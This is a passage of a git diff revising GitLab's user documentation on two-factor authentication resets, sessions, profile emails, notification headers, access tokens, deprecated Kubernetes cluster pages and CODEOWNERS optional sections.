@@ -465,13 +464,20 @@ If you regenerate 2FA recovery codes, save them. You can't use any previously cr
### Have 2FA disabled on your account
-If you cannot use a saved recovery code or generate new recovery codes then please submit a [support ticket](https://support.gitlab.com/hc/en-us/requests/new) requesting that a GitLab global administrator disables two-factor authentication for your account. Please note that only the actual owner of the account can make this request and that disabling this setting will temporarily leave your account in a less secure state. You should therefore sign in and re-enable two-factor authentication as soon as possible.
+If you can't use a saved recovery code or generate new recovery codes, submit a [support ticket](https://support.gitlab.com/hc/en-us/requests/new) to
+request a GitLab global administrator disable two-factor authentication for your account. Note that:
+
+- Only the owner of the account can make this request.
+- This service is only available for accounts that have a GitLab.com subscription. For more information, see our
+ [blog post](https://about.gitlab.com/blog/2020/08/04/gitlab-support-no-longer-processing-mfa-resets-for-free-users/).
+- Disabling this setting temporarily leaves your account in a less secure state. You should sign in and re-enable two-factor authentication
+ as soon as possible.
## Note to GitLab administrators
- You need to take special care to that 2FA keeps working after
[restoring a GitLab backup](../../../raketasks/backup_restore.md).
-- To ensure 2FA authorizes correctly with TOTP server, you may want to ensure
+- To ensure 2FA authorizes correctly with time-based one time passwords (TOTP) server, you may want to ensure
your GitLab server's time is synchronized via a service like NTP. Otherwise,
you may have cases where authorization always fails because of time differences.
- The GitLab U2F implementation does _not_ work when the GitLab instance is accessed from
@@ -488,25 +494,6 @@ If you cannot use a saved recovery code or generate new recovery codes then plea
- To enforce 2FA at the system or group levels see [Enforce Two-factor Authentication](../../../security/two_factor_authentication.md).
-## Enable or disable WebAuthn **(FREE SELF)**
-
-Support for WebAuthn is under development and not ready for production use. It is
-deployed behind a feature flag that is **disabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can enable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:webauthn)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:webauthn)
-```
-
## Troubleshooting
If you are receiving an `invalid pin code` error, this may indicate that there is a time sync issue between the authentication application and the GitLab instance itself.
diff --git a/doc/user/profile/active_sessions.md b/doc/user/profile/active_sessions.md
index 1797307a00c..b30ee002758 100644
--- a/doc/user/profile/active_sessions.md
+++ b/doc/user/profile/active_sessions.md
@@ -5,14 +5,14 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: howto
---
-# Active sessions
+# Active sessions **(FREE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17867) in GitLab 10.8.
GitLab lists all devices that have logged into your account. You can
review the sessions, and revoke any you don't recognize.
-## Listing all active sessions
+## List all active sessions
To list all active sessions:
@@ -29,7 +29,7 @@ To list all active sessions:
GitLab allows users to have up to 100 active sessions at once. If the number of active sessions
exceeds 100, the oldest ones are deleted.
-## Revoking a session
+## Revoke a session
To revoke an active session:
@@ -40,7 +40,7 @@ To revoke an active session:
NOTE:
When any session is revoked all **Remember me** tokens for all
-devices are revoked. See ['Why do I keep getting signed out?'](index.md#why-do-i-keep-getting-signed-out)
+devices are revoked. See [Why do I keep getting signed out?](index.md#why-do-i-keep-getting-signed-out)
for more information about the **Remember me** feature.
<!-- ## Troubleshooting
diff --git a/doc/user/profile/index.md b/doc/user/profile/index.md
index d9f10b58c3f..90cb6502bbd 100644
--- a/doc/user/profile/index.md
+++ b/doc/user/profile/index.md
@@ -100,17 +100,20 @@ When visiting the public page of a user, you can only see the projects which you
If the [public level is restricted](../admin_area/settings/visibility_and_access_controls.md#restrict-visibility-levels),
user profiles are only visible to signed-in users.
-## User profile README
+## Add details to your profile with a README
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232157) in GitLab 14.5.
-You can add a README section to your profile that can include more information and [formatting](../markdown.md) than
-your profile's bio.
+If you want to add more information to your profile page, you can create a README file. When you populate the README file with information, it's included on your profile page.
To add a README to your profile:
-1. Create a new public project with the same name as your GitLab username.
+1. Create a new public project with the same project path as your GitLab username.
1. Create a README file inside this project. The file can be any valid [README or index file](../project/repository/index.md#readme-and-index-files).
+1. Populate the README file with [Markdown](../markdown.md).
+
+To use an existing project, [update the path](../project/settings/index.md#renaming-a-repository) of the project to match
+your username.
## Add external accounts to your user profile page
@@ -257,6 +260,29 @@ To change your commit email:
1. In the **Commit email** dropdown list, select an email address.
1. Select **Update profile settings**.
+## Change your primary email
+
+Your primary email:
+
+- Is the default email address for your login, commit email, and notification email.
+- Must be already [linked to your user profile](#add-emails-to-your-user-profile).
+
+To change your primary email:
+
+1. In the top-right corner, select your avatar.
+1. Select **Edit profile**.
+1. In the **Email** field, enter your new email address.
+1. Select **Update profile settings**.
+
+## Set your public email
+
+You can select one of your [configured email addresses](#add-emails-to-your-user-profile) to be displayed on your public profile:
+
+1. In the top-right corner, select your avatar.
+1. Select **Edit profile**.
+1. In the **Public email** field, select one of the available email addresses.
+1. Select **Update profile settings**.
+
### Use an automatically-generated private commit email
GitLab provides an automatically-generated private commit email address,
diff --git a/doc/user/profile/notifications.md b/doc/user/profile/notifications.md
index 9faa4b78f8c..acbaf62579f 100644
--- a/doc/user/profile/notifications.md
+++ b/doc/user/profile/notifications.md
@@ -67,7 +67,7 @@ For each project and group you can select one of the following levels:
| Global | Your global settings apply. |
| Watch | Receive notifications for any activity. |
| Participate | Receive notifications for threads you have participated in. |
-| On mention | Receive notifications when you are [mentioned](../project/issues/issue_data_and_actions.md#mentions) in a comment. |
+| On mention | Receive notifications when you are [mentioned](../discussions/index.md#mentions) in a comment. |
| Disabled | Receive no notifications. |
| Custom | Receive notifications for selected events. |
@@ -203,7 +203,7 @@ In issues, merge requests, and epics, for most events, the notification is sent
- Participants:
- The author and assignee.
- Authors of comments.
- - Anyone [mentioned](../project/issues/issue_data_and_actions.md#mentions) by username in the title
+ - Anyone [mentioned](../discussions/index.md#mentions) by username in the title
or description.
- Anyone mentioned by username in a comment if their notification level is "Participating" or higher.
- Watchers: users with notification level "Watch".
@@ -287,7 +287,7 @@ The participants are:
- Authors of the design (can be multiple people if different authors have uploaded different versions of the design).
- Authors of comments on the design.
-- Anyone that is [mentioned](../project/issues/issue_data_and_actions.md#mentions) in a comment on the design.
+- Anyone that is [mentioned](../discussions/index.md#mentions) in a comment on the design.
## Opt out of all GitLab emails
@@ -316,19 +316,19 @@ a merge request or an issue.
The following table lists all GitLab-specific email headers:
-| Header | Description |
-|------------------------------------|-------------------------------------------------------------------------|
-| `List-Id` | The path of the project in an RFC 2919 mailing list identifier. You can use it for email organization with filters. |
-| `X-GitLab-(Resource)-ID` | The ID of the resource the notification is for. The resource, for example, can be `Issue`, `MergeRequest`, `Commit`, or another such resource. |
-| `X-GitLab-Discussion-ID` | The ID of the thread the comment belongs to, in notification emails for comments. |
-| `X-GitLab-Group-Id` **(PREMIUM)** | The group's ID. Only present on notification emails for epics. |
-| `X-GitLab-Group-Path` **(PREMIUM)** | The group's path. Only present on notification emails for epics. |
-| [`X-GitLab-NotificationReason`](#x-gitlab-notificationreason) | The reason for the notification. This can be `mentioned`, `assigned`, or `own_activity`. |
-| `X-GitLab-Pipeline-Id` | The ID of the pipeline the notification is for, in notification emails for pipelines. |
-| `X-GitLab-Project-Id` | The project's ID. |
-| `X-GitLab-Project-Path` | The project's path. |
-| `X-GitLab-Project` | The name of the project the notification belongs to. |
-| `X-GitLab-Reply-Key` | A unique token to support reply by email. |
+| Header | Description |
+|---------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------|
+| `List-Id` | The path of the project in an RFC 2919 mailing list identifier. You can use it for email organization with filters. |
+| `X-GitLab-(Resource)-ID` | The ID of the resource the notification is for. The resource, for example, can be `Issue`, `MergeRequest`, `Commit`, or another such resource. |
+| `X-GitLab-Discussion-ID` | The ID of the thread the comment belongs to, in notification emails for comments. |
+| `X-GitLab-Group-Id` | The group's ID. Only present on notification emails for [epics](../group/epics/index.md). |
+| `X-GitLab-Group-Path` | The group's path. Only present on notification emails for [epics](../group/epics/index.md) |
+| [`X-GitLab-NotificationReason`](#x-gitlab-notificationreason) | The reason for the notification. This can be `mentioned`, `assigned`, or `own_activity`. |
+| `X-GitLab-Pipeline-Id` | The ID of the pipeline the notification is for, in notification emails for pipelines. |
+| `X-GitLab-Project-Id` | The project's ID. |
+| `X-GitLab-Project-Path` | The project's path. |
+| `X-GitLab-Project` | The name of the project the notification belongs to. |
+| `X-GitLab-Reply-Key` | A unique token to support reply by email. |
### X-GitLab-NotificationReason
diff --git a/doc/user/profile/personal_access_tokens.md b/doc/user/profile/personal_access_tokens.md
index 197ba4647b2..ea66f3e508f 100644
--- a/doc/user/profile/personal_access_tokens.md
+++ b/doc/user/profile/personal_access_tokens.md
@@ -7,10 +7,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Personal access tokens **(FREE)**
-> - Introduced in GitLab 12.6: [Notifications for expiring tokens](https://gitlab.com/gitlab-org/gitlab/-/issues/3649).
-> - Introduced in GitLab Ultimate 12.6: [Token lifetime limits](https://gitlab.com/gitlab-org/gitlab/-/issues/3649).
-> - Introduced in GitLab 13.3: [Additional notifications for expiring tokens](https://gitlab.com/gitlab-org/gitlab/-/issues/214721).
-> - Introduced in GitLab 14.1: [Prefill token name and scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/334664).
+> - Notifications for expiring tokens [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3649) in GitLab 12.6.
+> - Token lifetime limits [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3649) in GitLab 12.6.
+> - Additional notifications for expiring tokens [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214721) in GitLab 13.3.
+> - Prefill for token name and scopes [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/334664) in GitLab 14.1.
Personal access tokens can be an alternative to [OAuth2](../../api/oauth2.md) and used to:
diff --git a/doc/user/profile/preferences.md b/doc/user/profile/preferences.md
index e079e6dcbee..63be88f90d6 100644
--- a/doc/user/profile/preferences.md
+++ b/doc/user/profile/preferences.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: concepts, howto
---
-# Profile preferences
+# Profile preferences **(FREE)**
A user's profile preferences page allows the user to customize various aspects
of GitLab to their liking.
@@ -120,7 +120,7 @@ You can include the following options for your default dashboard view:
- Your [To-Do List](../todos.md)
- Assigned Issues
- Assigned Merge Requests
-- Operations Dashboard **(PREMIUM)**
+- [Operations Dashboard](../operations_dashboard/index.md)
### Group overview content
@@ -130,7 +130,7 @@ displayed on a group's home page.
You can choose between 2 options:
- Details (default)
-- [Security dashboard](../application_security/security_dashboard/index.md) **(ULTIMATE)**
+- [Security dashboard](../application_security/security_dashboard/index.md)
### Project overview content
diff --git a/doc/user/profile/unknown_sign_in_notification.md b/doc/user/profile/unknown_sign_in_notification.md
index 7aa1ae89c9f..be86db3daf5 100644
--- a/doc/user/profile/unknown_sign_in_notification.md
+++ b/doc/user/profile/unknown_sign_in_notification.md
@@ -1,11 +1,10 @@
---
-type: concepts, howto
stage: Manage
group: Access
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Email notification for unknown sign-ins
+# Email notification for unknown sign-ins **(FREE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27211) in GitLab 13.0.
diff --git a/doc/user/project/clusters/add_eks_clusters.md b/doc/user/project/clusters/add_eks_clusters.md
index e03e5b10236..a5473629d4f 100644
--- a/doc/user/project/clusters/add_eks_clusters.md
+++ b/doc/user/project/clusters/add_eks_clusters.md
@@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8) in GitLab 14.5.
WARNING:
-This feature was deprecated in GitLab 14.5. Use [Infrastrucure as Code](../../infrastructure/iac/index.md#create-a-new-cluster-through-iac)
+This feature was deprecated in GitLab 14.5. Use [Infrastructure as Code](../../infrastructure/iac/index.md#create-a-new-cluster-through-iac-deprecated)
to create new clusters.
Through GitLab, you can create new clusters and add existing clusters hosted on Amazon Elastic
@@ -19,11 +19,11 @@ Kubernetes Service (EKS).
## Connect an existing EKS cluster
If you already have an EKS cluster and want to connect it to GitLab,
-use the [GitLab Kubernetes Agent](../../clusters/agent/index.md).
+use the [GitLab Agent](../../clusters/agent/index.md).
## Create a new EKS cluster
-To create a new cluster from GitLab, use [Infrastructure as Code](../../infrastructure/iac/index.md#create-a-new-cluster-through-iac).
+To create a new cluster from GitLab, use [Infrastructure as Code](../../infrastructure/iac/index.md#create-a-new-cluster-through-iac-deprecated).
### How to create a new cluster on EKS through cluster certificates (DEPRECATED)
diff --git a/doc/user/project/clusters/add_existing_cluster.md b/doc/user/project/clusters/add_existing_cluster.md
index fcf2583d3ab..acc5ed4cb30 100644
--- a/doc/user/project/clusters/add_existing_cluster.md
+++ b/doc/user/project/clusters/add_existing_cluster.md
@@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
WARNING:
This feature was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8) in GitLab 14.5.
-To connect your cluster to GitLab, use the [GitLab Kubernetes Agent](../../clusters/agent/index.md)
+To connect your cluster to GitLab, use the [GitLab Agent](../../clusters/agent/index.md)
instead.
If you have an existing Kubernetes cluster, you can add it to a project, group,
diff --git a/doc/user/project/clusters/add_gke_clusters.md b/doc/user/project/clusters/add_gke_clusters.md
index 30be319f2df..99edddeb3e9 100644
--- a/doc/user/project/clusters/add_gke_clusters.md
+++ b/doc/user/project/clusters/add_gke_clusters.md
@@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
WARNING:
This feature was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8) in GitLab 14.5.
-Use [Infrastrucure as Code](../../infrastructure/clusters/connect/new_gke_cluster.md)
+Use [Infrastructure as Code](../../infrastructure/clusters/connect/new_gke_cluster.md)
to create a cluster hosted on Google Kubernetes Engine (GKE).
Through GitLab, you can create new and connect existing clusters
@@ -19,7 +19,7 @@ hosted on Google Kubernetes Engine (GKE).
## Connect an existing GKE cluster
If you already have a GKE cluster and want to connect it to GitLab,
-use the [GitLab Kubernetes Agent](../../clusters/agent/index.md).
+use the [GitLab Agent](../../clusters/agent/index.md).
## Create a new GKE cluster from GitLab
diff --git a/doc/user/project/clusters/add_remove_clusters.md b/doc/user/project/clusters/add_remove_clusters.md
index 49708e3b6aa..a0fca517f2e 100644
--- a/doc/user/project/clusters/add_remove_clusters.md
+++ b/doc/user/project/clusters/add_remove_clusters.md
@@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
WARNING:
This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/327908) in GitLab 14.0.
-To create a new cluster use [Infrastructure as Code](../../infrastructure/iac/index.md#create-a-new-cluster-through-iac).
+To create a new cluster use [Infrastructure as Code](../../infrastructure/iac/index.md#create-a-new-cluster-through-iac-deprecated).
NOTE:
Every new Google Cloud Platform (GCP) account receives
@@ -29,7 +29,7 @@ in a few clicks.
> [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/327908) in GitLab 14.0.
-As of GitLab 14.0, use [Infrastructure as Code](../../infrastructure/iac/index.md#create-a-new-cluster-through-iac)
+As of GitLab 14.0, use [Infrastructure as Code](../../infrastructure/iac/index.md#create-a-new-cluster-through-iac-deprecated)
to **safely create new clusters from GitLab**.
Creating clusters from GitLab using cluster certificates is still available on the
@@ -49,7 +49,7 @@ supports connecting existing clusters using the certificate-based connection met
## Add existing cluster
-As of GitLab 14.0, use the [GitLab Kubernetes Agent](../../clusters/agent/index.md)
+As of GitLab 14.0, use the [GitLab Agent](../../clusters/agent/index.md)
to connect your cluster to GitLab.
Alternatively, you can [add an existing cluster](add_existing_cluster.md)
@@ -57,7 +57,7 @@ through the certificate-based method, but we don't recommend using this method f
## Configure your cluster
-As of GitLab 14.0, use the [GitLab Kubernetes Agent](../../clusters/agent/index.md)
+As of GitLab 14.0, use the [GitLab Agent](../../clusters/agent/index.md)
to configure your cluster.
## Disable a cluster
diff --git a/doc/user/project/clusters/cluster_access.md b/doc/user/project/clusters/cluster_access.md
index 510aad821cf..4e00ae0dd07 100644
--- a/doc/user/project/clusters/cluster_access.md
+++ b/doc/user/project/clusters/cluster_access.md
@@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
WARNING:
This feature was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8) in GitLab 14.5.
-To connect your cluster to GitLab, use the [GitLab Kubernetes Agent](../../clusters/agent/index.md)
+To connect your cluster to GitLab, use the [GitLab Agent](../../clusters/agent/index.md)
instead.
When creating a cluster in GitLab, you are asked if you would like to create either:
diff --git a/doc/user/project/clusters/deploy_to_cluster.md b/doc/user/project/clusters/deploy_to_cluster.md
index c3a71ec8585..e89ce12b35e 100644
--- a/doc/user/project/clusters/deploy_to_cluster.md
+++ b/doc/user/project/clusters/deploy_to_cluster.md
@@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
WARNING:
This feature was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8) in GitLab 14.5.
-To connect your cluster to GitLab, use the [GitLab Kubernetes Agent](../../clusters/agent/index.md).
+To connect your cluster to GitLab, use the [GitLab Agent](../../clusters/agent/index.md).
To deploy with the Agent, use the [CI/CD Tunnel](../../clusters/agent/ci_cd_tunnel.md).
A Kubernetes cluster can be the destination for a deployment job. If
diff --git a/doc/user/project/clusters/gitlab_managed_clusters.md b/doc/user/project/clusters/gitlab_managed_clusters.md
index ad378be2d9a..686b3026b2c 100644
--- a/doc/user/project/clusters/gitlab_managed_clusters.md
+++ b/doc/user/project/clusters/gitlab_managed_clusters.md
@@ -12,7 +12,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
WARNING:
This feature was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8) in GitLab 14.5.
-To connect your cluster to GitLab, use the [GitLab Kubernetes Agent](../../../user/clusters/agent/index.md).
+To connect your cluster to GitLab, use the [GitLab Agent](../../../user/clusters/agent/index.md).
To manage applications, use the [Cluster Project Management Template](../../../user/clusters/management_project_template.md).
You can choose to allow GitLab to manage your cluster for you. If your cluster
diff --git a/doc/user/project/clusters/index.md b/doc/user/project/clusters/index.md
index c16c6446acd..dc37060593c 100644
--- a/doc/user/project/clusters/index.md
+++ b/doc/user/project/clusters/index.md
@@ -12,7 +12,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
WARNING:
This feature was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8)
in GitLab 14.5. To connect clusters to GitLab, use the
-[GitLab Kubernetes Agent](../../clusters/agent/index.md).
+[GitLab Agent](../../clusters/agent/index.md).
[Project-level](../../infrastructure/clusters/connect/index.md#cluster-levels-deprecated) Kubernetes clusters
allow you to connect a Kubernetes cluster to a project in GitLab.
diff --git a/doc/user/project/clusters/multiple_kubernetes_clusters.md b/doc/user/project/clusters/multiple_kubernetes_clusters.md
index 540907bf915..12527853b40 100644
--- a/doc/user/project/clusters/multiple_kubernetes_clusters.md
+++ b/doc/user/project/clusters/multiple_kubernetes_clusters.md
@@ -13,7 +13,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
WARNING:
Using multiple Kubernetes clusters for a single project **with cluster
certificates** was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8) in GitLab 14.5.
-To connect clusters to GitLab, use the [GitLab Kubernetes Agent](../../../user/clusters/agent/index.md).
+To connect clusters to GitLab, use the [GitLab Agent](../../../user/clusters/agent/index.md).
You can associate more than one Kubernetes cluster to your
project. That way you can have different clusters for different environments,
diff --git a/doc/user/project/clusters/protect/container_host_security/index.md b/doc/user/project/clusters/protect/container_host_security/index.md
index c005ce64bb5..98ba4a1f84d 100644
--- a/doc/user/project/clusters/protect/container_host_security/index.md
+++ b/doc/user/project/clusters/protect/container_host_security/index.md
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
NOTE:
In GitLab 14.5, using a certificate to connect GitLab to a Kubernetes cluster is [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8).
You can continue using Container Host Security, even though it relies on this certificate-based
-method. The work to allow all aspects of Container Host Security to function through the [GitLab Kubernetes Agent](../../../../clusters/agent/index.md)
+method. The work to allow all aspects of Container Host Security to function through the [GitLab Agent](../../../../clusters/agent/index.md)
instead of the certificate-based method can be tracked [in this GitLab issue](https://gitlab.com/gitlab-org/gitlab/-/issues/299350).
Container Host Security in GitLab provides Intrusion Detection and Prevention capabilities that can
diff --git a/doc/user/project/clusters/protect/container_network_security/index.md b/doc/user/project/clusters/protect/container_network_security/index.md
index eb15675da19..06dc6b24620 100644
--- a/doc/user/project/clusters/protect/container_network_security/index.md
+++ b/doc/user/project/clusters/protect/container_network_security/index.md
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
NOTE:
In GitLab 14.5, using a certificate to connect GitLab to a Kubernetes cluster is [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8).
You can continue using Container Network Security, even though it relies on this certificate-based
-method. The work to allow all aspects of Container Network Security to function through the [GitLab Kubernetes Agent](../../../../clusters/agent/index.md)
+method. The work to allow all aspects of Container Network Security to function through the [GitLab Agent](../../../../clusters/agent/index.md)
instead of the certificate-based method can be tracked [in this GitLab issue](https://gitlab.com/gitlab-org/gitlab/-/issues/299350) and [this GitLab Epic](https://gitlab.com/groups/gitlab-org/-/epics/7057).
Container Network Security in GitLab provides basic firewall functionality by leveraging Cilium
diff --git a/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md b/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md
index 283e6c0b81c..340c9397e9c 100644
--- a/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md
+++ b/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md
@@ -192,11 +192,10 @@ violations but don't block any traffic. To set Cilium to Blocking mode, you must
lines to the `applications/cilium/values.yaml` file in your cluster management project:
```yaml
-config:
- policyAuditMode: false
+policyEnforcementMode: "always"
monitor:
- eventTypes: ["drop"]
+ eventTypes: ["drop", "policy-verdict"]
```
### Traffic is not being allowed as expected
diff --git a/doc/user/project/clusters/serverless/aws.md b/doc/user/project/clusters/serverless/aws.md
index 06fa18d80c9..ccf90a3d3dd 100644
--- a/doc/user/project/clusters/serverless/aws.md
+++ b/doc/user/project/clusters/serverless/aws.md
@@ -290,7 +290,7 @@ The example code is available:
- As a [clonable repository](https://gitlab.com/gitlab-org/serverless/examples/serverless-framework-js).
- In a version with [tests and secret variables](https://gitlab.com/gitlab-org/project-templates/serverless-framework/).
-You can also use a [template](../../working_with_projects.md#project-templates)
+You can also use a [template](../../working_with_projects.md#create-a-project)
(based on the version with tests and secret variables) from within the GitLab UI (see
the `Serverless Framework/JS` template).
diff --git a/doc/user/project/clusters/serverless/index.md b/doc/user/project/clusters/serverless/index.md
index f6598f8846b..265a60c6f2c 100644
--- a/doc/user/project/clusters/serverless/index.md
+++ b/doc/user/project/clusters/serverless/index.md
@@ -539,7 +539,7 @@ server that has Python 3 installed, and may not work on other operating systems
or with other versions of Python.
1. Install Certbot by running the
- [`certbot-auto` wrapper script](https://certbot.eff.org/docs/install.html#certbot-auto).
+ [`certbot-auto` wrapper script](https://eff-certbot.readthedocs.io/install.html#certbot-auto).
On the command line of your server, run the following commands:
```shell
diff --git a/doc/user/project/code_owners.md b/doc/user/project/code_owners.md
index c138dc64d19..a95e4d2bc26 100644
--- a/doc/user/project/code_owners.md
+++ b/doc/user/project/code_owners.md
@@ -11,6 +11,10 @@ type: reference
> - Code Owners for merge request approvals was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4418) in GitLab Premium 11.9.
> - Moved to GitLab Premium in 13.9.
+INFO:
+Get access to Code Owners and more with a
+[free 30-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=p-code-owners-docs).
+
Code Owners define who owns specific files or directories in a repository.
- The users you define as Code Owners are displayed in the UI when you browse directories.
@@ -173,12 +177,16 @@ entries under **Database**. The entries defined under the sections **Documentati
### Make a Code Owners section optional
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232995) in GitLab Premium 13.8 behind a feature flag, enabled by default.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53227) in GitLab 13.9.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232995) in GitLab Premium 13.8.
-You can make a section optional, so that approval from the Code Owners in that section is optional.
+You can designate optional sections in your Code Owners file. Prepend the
+section name with the caret `^` character to treat the entire section as optional.
+Optional sections enable you to designate responsible parties for various parts
+of your codebase, but not require approval from them. This approach provides
+a more relaxed policy for parts of your project that are frequently updated,
+but don't require stringent reviews.
-Put a caret `^` character before the Code Owners section name. For example:
+In this example, the `[Go]` section is optional:
```plaintext
[Documentation]
@@ -200,8 +208,12 @@ If a section is duplicated in the file, and one of them is marked as optional an
Optional sections in the `CODEOWNERS` file are treated as optional only
when changes are submitted by using merge requests. If a change is submitted directly
to the protected branch, approval from Code Owners is still required, even if the
-section is marked as optional. [An issue exists](https://gitlab.com/gitlab-org/gitlab/-/issues/297638)
-to allow direct pushes to the protected branch for sections marked as optional.
+section is marked as optional.
+
+### Allowed to Push
+
+The Code Owner approval and protected branch features do not apply to users who
+are **Allowed to push**.
## Example `CODEOWNERS` file
diff --git a/doc/user/project/description_templates.md b/doc/user/project/description_templates.md
index 5b19a54bd91..66e5931fa4c 100644
--- a/doc/user/project/description_templates.md
+++ b/doc/user/project/description_templates.md
@@ -71,7 +71,7 @@ To create the `.gitlab/issue_templates` directory:
1. Select **New directory**.
1. Name your directory `issue_templates` and commit to your default branch.
-To check if this has worked correctly, [create a new issue](issues/managing_issues.md#create-a-new-issue)
+To check if this has worked correctly, [create a new issue](issues/managing_issues.md#create-an-issue)
and see if you can choose a description template.
## Create a merge request template
diff --git a/doc/user/project/import/github.md b/doc/user/project/import/github.md
index e1a81ae1bba..72bf0841687 100644
--- a/doc/user/project/import/github.md
+++ b/doc/user/project/import/github.md
@@ -52,9 +52,12 @@ self-managed GitLab instance.
- If you're importing to a self-managed GitLab instance, you can alternatively use the
[GitHub Rake task](../../../administration/raketasks/github_import.md) to import
projects without the constraints of a [Sidekiq](../../../development/sidekiq_style_guide.md) worker.
-- If you're importing from GitHub Enterprise to your self-managed GitLab instance, you must first enable
- [GitHub integration](../../../integration/github.md).
+- If you're importing from GitHub Enterprise to your self-managed GitLab instance:
+ - You must first enable [GitHub integration](../../../integration/github.md).
- To import projects from GitHub Enterprise to GitLab.com, use the [Import API](../../../api/import.md).
+ - If GitLab is behind a HTTP/HTTPS proxy you must populate the [allowlist for local requests](../../../security/webhooks.md#allowlist-for-local-requests)
+ with `github.com` and `api.github.com` to solve the hostname. For more information, read the issue
+ [Importing a GitHub project requires DNS resolution even when behind a proxy](https://gitlab.com/gitlab-org/gitlab/-/issues/37941)
- If you're importing from GitHub.com to your self-managed GitLab instance,
setting up GitHub integration is not required. You can use the [Import API](../../../api/import.md).
diff --git a/doc/user/project/import/index.md b/doc/user/project/import/index.md
index 6e02a9bf5ab..9d7ed593d41 100644
--- a/doc/user/project/import/index.md
+++ b/doc/user/project/import/index.md
@@ -76,7 +76,7 @@ a self-managed instance from an old server to a new server.
The backups produced don't depend on the operating system running GitLab. You can therefore use
the restore method to switch between different operating system distributions or versions, as long
-as the same GitLab version [is available for installation](../../../administration/package_information/deprecated_os.md).
+as the same GitLab version [is available for installation](../../../administration/package_information/supported_os.md).
To instead merge two self-managed GitLab instances together, use the instructions in
[Migrate from self-managed GitLab to GitLab.com](#migrate-from-self-managed-gitlab-to-gitlabcom).
diff --git a/doc/user/project/index.md b/doc/user/project/index.md
index 78cd2f8fb79..07e8ea1dc06 100644
--- a/doc/user/project/index.md
+++ b/doc/user/project/index.md
@@ -146,7 +146,7 @@ There are numerous [APIs](../../api/index.md) to use with your projects:
- [Markdown](../../api/markdown.md)
- [Merge Requests](../../api/merge_requests.md)
- [Milestones](../../api/milestones.md)
-- [Services](../../api/services.md)
+- [Services](../../api/integrations.md)
- [Snippets](../../api/project_snippets.md)
- [Templates](../../api/project_templates.md)
- [Traffic](../../api/project_statistics.md)
diff --git a/doc/user/project/insights/index.md b/doc/user/project/insights/index.md
index 436df07d673..957290c5f20 100644
--- a/doc/user/project/insights/index.md
+++ b/doc/user/project/insights/index.md
@@ -149,7 +149,7 @@ Supported values are:
| Name | Example |
| ----- | ------- |
| `bar` | ![Insights example bar chart](img/insights_example_bar_chart.png) |
-| `bar` (time series, i.e. when `group_by` is used) | ![Insights example bar time series chart](img/insights_example_bar_time_series_chart.png) |
+| `bar` (time series, that is when `group_by` is used) | ![Insights example bar time series chart](img/insights_example_bar_time_series_chart.png) |
| `line` | ![Insights example stacked bar chart](img/insights_example_line_chart.png) |
| `stacked-bar` | ![Insights example stacked bar chart](img/insights_example_stacked_bar_chart.png) |
diff --git a/doc/user/project/integrations/asana.md b/doc/user/project/integrations/asana.md
index 963fca34827..b4d7790df1d 100644
--- a/doc/user/project/integrations/asana.md
+++ b/doc/user/project/integrations/asana.md
@@ -37,7 +37,7 @@ Complete these steps in GitLab:
1. Select **Asana**.
1. Ensure that the **Active** toggle is enabled.
1. Paste the token you generated in Asana.
-1. (Optional) To restrict this setting to specific branches, list them in the **Restrict to branch**
+1. Optional. To restrict this setting to specific branches, list them in the **Restrict to branch**
field, separated with commas.
1. Select **Save changes** or optionally select **Test settings**.
diff --git a/doc/user/project/integrations/bamboo.md b/doc/user/project/integrations/bamboo.md
index 58cfd8c3a2f..38de8d9f1af 100644
